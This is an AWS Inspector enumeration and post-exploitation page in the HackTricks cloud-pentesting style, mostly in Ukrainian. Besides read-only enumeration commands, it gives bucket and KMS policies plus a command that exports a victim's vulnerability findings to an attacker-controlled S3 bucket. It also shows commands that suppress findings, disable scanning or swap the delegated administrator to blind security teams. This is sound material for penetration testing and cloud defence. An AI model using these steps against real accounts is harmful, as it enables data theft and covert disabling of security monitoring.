AWS - Inspector Enum

AWS - Inspector Enum

Support HackTricks

Inspector

Amazon Inspector - це розширена автоматизована служба управління вразливостями, призначена для підвищення безпеки вашого середовища AWS. Ця служба постійно сканує екземпляри Amazon EC2, образи контейнерів в Amazon ECR, Amazon ECS та функції AWS Lambda на наявність вразливостей та ненавмисного мережевого впливу. Використовуючи надійну базу даних інтелекту вразливостей, Amazon Inspector надає детальні висновки, включаючи рівні серйозності та рекомендації щодо усунення, допомагаючи організаціям проактивно виявляти та усувати ризики безпеки. Цей комплексний підхід забезпечує зміцнення безпеки в різних службах AWS, сприяючи дотриманню вимог та управлінню ризиками.

Key elements

Findings

Висновки в Amazon Inspector - це детальні звіти про вразливості та впливи, виявлені під час сканування екземплярів EC2, репозиторіїв ECR або функцій Lambda. В залежності від стану, висновки класифікуються як:

  • Active: Висновок не був усунений.

  • Closed: Висновок був усунений.

  • Suppressed: Висновок був позначений цим станом через одну або кілька правил придушення.

Висновки також класифікуються на три типи:

  • Package: Ці висновки стосуються вразливостей у програмних пакетах, встановлених на ваших ресурсах. Прикладами є застарілі бібліотеки або залежності з відомими проблемами безпеки.

  • Code: Ця категорія включає вразливості, виявлені в коді додатків, що працюють на ваших ресурсах AWS. Загальні проблеми - це помилки кодування або ненадійні практики, які можуть призвести до порушень безпеки.

  • Network: Мережеві висновки виявляють потенційні впливи в мережевих конфігураціях, які можуть бути використані зловмисниками. До них відносяться відкриті порти, ненадійні мережеві протоколи та неправильно налаштовані групи безпеки.

Filters and Suppression Rules

Фільтри та правила придушення в Amazon Inspector допомагають управляти та пріоритизувати висновки. Фільтри дозволяють уточнити висновки на основі конкретних критеріїв, таких як серйозність або тип ресурсу. Правила придушення дозволяють придушити певні висновки, які вважаються низьким ризиком, вже були пом'якшені або з будь-якої іншої важливої причини, запобігаючи їх перевантаженню ваших звітів з безпеки та дозволяючи зосередитися на більш критичних питаннях.

Software Bill of Materials (SBOM)

Програмний рахунок матеріалів (SBOM) в Amazon Inspector - це експортований вкладений список інвентаризації, що детально описує всі компоненти в програмному пакеті, включаючи бібліотеки та залежності. SBOM допомагає забезпечити прозорість у ланцюгу постачання програмного забезпечення, що дозволяє покращити управління вразливостями та дотримання вимог. Вони є важливими для виявлення та пом'якшення ризиків, пов'язаних з компонентами програмного забезпечення з відкритим кодом та сторонніми постачальниками.

Key features

Export findings

Amazon Inspector пропонує можливість експортувати висновки в Amazon S3 Buckets, Amazon EventBridge та AWS Security Hub, що дозволяє генерувати детальні звіти про виявлені вразливості та впливи для подальшого аналізу або обміну в конкретну дату та час. Ця функція підтримує різні формати виводу, такі як CSV та JSON, що полегшує інтеграцію з іншими інструментами та системами. Функція експорту дозволяє налаштувати дані, включені в звіти, що дозволяє фільтрувати висновки на основі конкретних критеріїв, таких як серйозність, тип ресурсу або діапазон дат, і за замовчуванням включати всі ваші висновки в поточному регіоні AWS зі статусом Active.

При експорті висновків необхідний ключ служби управління ключами (KMS) для шифрування даних під час експорту. Ключі KMS забезпечують захист експортованих висновків від несанкціонованого доступу, надаючи додатковий рівень безпеки для чутливої інформації про вразливості.

Amazon EC2 instances scanning

Amazon Inspector пропонує надійні можливості сканування для екземплярів Amazon EC2 для виявлення вразливостей та проблем безпеки. Inspector порівнює витягнуті метадані з екземпляра EC2 з правилами з безпекових рекомендацій для виробництва вразливостей пакетів та проблем доступності мережі. Ці сканування можуть виконуватися через агентні або безагентні методи, залежно від конфігурації налаштувань режиму сканування вашого облікового запису.

  • Agent-Based: Використовує агент AWS Systems Manager (SSM) для проведення глибоких сканувань. Цей метод дозволяє здійснювати всебічний збір та аналіз даних безпосередньо з екземпляра.

  • Agentless: Надає легкий альтернативний варіант, який не вимагає встановлення агента на екземплярі, створюючи знімок EBS кожного тому екземпляра EC2, шукаючи вразливості, а потім видаляючи його; використовуючи існуючу інфраструктуру AWS для сканування.

Режим сканування визначає, який метод буде використано для виконання сканувань EC2:

  • Agent-Based: Включає встановлення агента SSM на екземплярах EC2 для глибокої перевірки.

  • Hybrid Scanning: Поєднує як агентні, так і безагентні методи для максимального покриття та мінімізації впливу на продуктивність. У тих екземплярах EC2, де встановлено агент SSM, Inspector виконає агентне сканування, а для тих, де немає агента SSM, сканування буде виконано безагентно.

Ще одна важлива функція - це глибока перевірка для екземплярів EC2 Linux. Ця функція пропонує всебічний аналіз програмного забезпечення та конфігурації екземплярів EC2 Linux, надаючи детальні оцінки вразливостей, включаючи вразливості операційної системи, вразливості додатків та неправильні налаштування, забезпечуючи комплексну оцінку безпеки. Це досягається шляхом перевірки кастомних шляхів та всіх його підкаталогів. За замовчуванням Amazon Inspector сканує наступні, але кожен обліковий запис може визначити до 5 додаткових кастомних шляхів, а кожен делегований адміністратор - до 10:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Amazon ECR container images scanning

Amazon Inspector надає надійні можливості сканування для образів контейнерів Amazon Elastic Container Registry (ECR), забезпечуючи виявлення та ефективне управління вразливостями пакетів.

  • Basic Scanning: Це швидке та легке сканування, яке виявляє відомі вразливості ОС пакетів в образах контейнерів, використовуючи стандартний набір правил з відкритого проекту Clair. З цією конфігурацією сканування ваші репозиторії будуть скануватися при завантаженні або виконанні ручних сканувань.

  • Enhanced Scanning: Ця опція додає функцію безперервного сканування на додаток до сканування при завантаженні. Розширене сканування заглиблюється в шари кожного образу контейнера, щоб виявити вразливості в пакетах ОС та в пакетах мов програмування з більшою точністю. Воно аналізує як базовий образ, так і будь-які додаткові шари, надаючи всебічний огляд потенційних проблем безпеки.

Amazon Lambda functions scanning

Amazon Inspector включає всебічні можливості сканування для функцій AWS Lambda та їх шарів, забезпечуючи безпеку та цілісність безсерверних додатків. Inspector пропонує два типи сканування для функцій Lambda:

  • Lambda standard scanning: Ця стандартна функція виявляє вразливості програмного забезпечення в залежностях пакета додатка, доданих до вашої функції Lambda та шарів. Наприклад, якщо ваша функція використовує версію бібліотеки, такої як python-jwt, з відомою вразливістю, вона генерує висновок.

  • Lambda code scanning: Аналізує кастомний код додатка на наявність проблем безпеки, виявляючи вразливості, такі як помилки ін'єкції, витоки даних, слабке шифрування та відсутнє шифрування. Він захоплює фрагменти коду, підкреслюючи виявлені вразливості, такі як закодовані віртуальні дані. Висновки включають детальні рекомендації щодо усунення та фрагменти коду для виправлення проблем.

Center for Internet Security (CIS) scans

Amazon Inspector включає сканування CIS для оцінки операційних систем екземплярів Amazon EC2 відповідно до рекомендацій кращих практик від Центру безпеки Інтернету (CIS). Ці сканування забезпечують дотримання конфігурацій стандартам безпеки галузі.

  • Configuration: Сканування CIS оцінює, чи відповідають системні конфігурації конкретним рекомендаціям CIS Benchmark, при цьому кожна перевірка пов'язана з ID перевірки CIS та заголовком.

  • Execution: Сканування виконуються або плануються на основі тегів екземпляра та визначених графіків.

  • Results: Результати після сканування вказують, які перевірки пройшли, були пропущені або провалилися, надаючи уявлення про безпекову позицію кожного екземпляра.

Enumeration

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Постексплуатація

З точки зору атакуючого, цей сервіс може допомогти атакуючому знайти вразливості та мережеві експозиції, які можуть допомогти йому скомпрометувати інші екземпляри/контейнери.

Однак, атакуючий також може бути зацікавлений у порушенні цього сервісу, щоб жертва не могла бачити вразливості (всі або конкретні).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

Атакуючий може згенерувати детальні звіти про вразливості або рахунки на програмне забезпечення (SBOM) та ексфільтрувати їх з вашого середовища AWS. Цю інформацію можна використати для виявлення конкретних слабкостей, застарілого програмного забезпечення або небезпечних залежностей, що дозволяє здійснювати цілеспрямовані атаки.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
  1. Створіть Amazon S3 Bucket і прикріпіть до нього політику, щоб він був доступний з жертви Amazon Inspector:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Створіть ключ Amazon KMS та прикріпіть до нього політику, щоб він міг використовуватися Amazon Inspector жертви:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. Виконайте команду для створення звіту про знахідки, ексфільтруючи його:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • Потенційний вплив: Генерація та ексфільтрація детальних звітів про вразливості та програмне забезпечення, отримання інформації про конкретні вразливості та слабкі місця в безпеці.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

Зловмисник може скасувати генерацію вказаного звіту про вразливості або звіту SBOM, що заважає командам безпеки отримувати своєчасну інформацію про вразливості та рахунок матеріалів програмного забезпечення (SBOM), затримуючи виявлення та усунення проблем безпеки.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • Potential Impact: Порушення моніторингу безпеки та запобігання своєчасному виявленню та усуненню проблем безпеки.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

Зловмисник з цими дозволами зможе маніпулювати правилами фільтрації, які визначають, які вразливості та проблеми безпеки повідомляються або подавляються (якщо action встановлено на SUPPRESS, буде створено правило подавлення). Це може приховати критичні вразливості від адміністраторів безпеки, що полегшує експлуатацію цих слабкостей без виявлення. Змінюючи або видаляючи важливі фільтри, зловмисник також може створити шум, заповнюючи систему нерелевантними знахідками, що заважає ефективному моніторингу безпеки та реагуванню.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • Potential Impact: Приховування або подавлення критичних вразливостей, або переповнення системи нерелевантними знахідками.

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

Зловмисник може суттєво порушити структуру управління безпекою.

  • Вимкнувши делегований обліковий запис адміністратора, зловмисник може завадити команді безпеки отримувати доступ до налаштувань та звітів Amazon Inspector.

  • Увімкнення несанкціонованого облікового запису адміністратора дозволить зловмиснику контролювати конфігурації безпеки, потенційно вимикаючи сканування або змінюючи налаштування для приховування шкідливої діяльності.

Необхідно, щоб несанкціонований обліковий запис був в тій же Організації, що й жертва, щоб стати делегованим адміністратором.

Для того, щоб несанкціонований обліковий запис став делегованим адміністратором, також необхідно, щоб після вимкнення легітимного делегованого адміністратора, і перед увімкненням несанкціонованого облікового запису як делегованого адміністратора, легітимний адміністратор повинен бути виключений з організації як делегований адміністратор. Це можна зробити за допомогою наступної команди (organizations:DeregisterDelegatedAdministrator потрібен дозвіл): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • Потенційний вплив: Порушення управління безпекою.

inspector2:AssociateMember, inspector2:DisassociateMember

Зловмисник може маніпулювати асоціацією облікових записів учасників в організації Amazon Inspector. Асуючи несанкціоновані облікові записи або від'єднуючи легітимні, зловмисник може контролювати, які облікові записи включені в перевірки безпеки та звітність. Це може призвести до виключення критичних облікових записів з моніторингу безпеки, що дозволяє зловмиснику експлуатувати вразливості в цих облікових записах без виявлення.

Цю дію потрібно виконувати делегованим адміністратором.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • Потенційний вплив: Виключення ключових облікових записів з перевірок безпеки, що дозволяє непомічене використання вразливостей.

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

Зловмисник з дозволом inspector2:Disable зможе вимкнути перевірки безпеки для конкретних типів ресурсів (EC2, ECR, Lambda, код Lambda) для зазначених облікових записів, залишаючи частини середовища AWS без нагляду та вразливими до атак. Крім того, маючи дозволи inspector2:Enable та iam:CreateServiceLinkedRole, зловмисник зможе повторно ввімкнути перевірки вибірково, щоб уникнути виявлення підозрілих конфігурацій.

Цю дію потрібно виконати делегованим адміністратором.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • Потенційний вплив: Створення сліпих зон у моніторингу безпеки.

inspector2:UpdateOrganizationConfiguration

Зловмисник з цим дозволом зможе оновити конфігурації для вашої організації Amazon Inspector, що вплине на стандартні функції сканування, увімкнені для нових облікових записів учасників.

Цю дію потрібно виконати делегованим адміністратором.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • Потенційний вплив: Змінити політики та конфігурації безпеки для організації.

inspector2:TagResource, inspector2:UntagResource

Зловмисник може маніпулювати тегами на ресурсах AWS Inspector, які є критично важливими для організації, відстеження та автоматизації оцінок безпеки. Змінюючи або видаляючи теги, зловмисник може потенційно приховати вразливості від сканувань безпеки, порушити звітність про відповідність і заважати автоматизованим процесам виправлення, що призведе до неконтрольованих проблем з безпекою та скомпрометованою цілісністю системи.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Potential Impact: Приховування вразливостей, порушення звітності про відповідність, порушення автоматизації безпеки та порушення розподілу витрат.

References

Support HackTricks

Last updated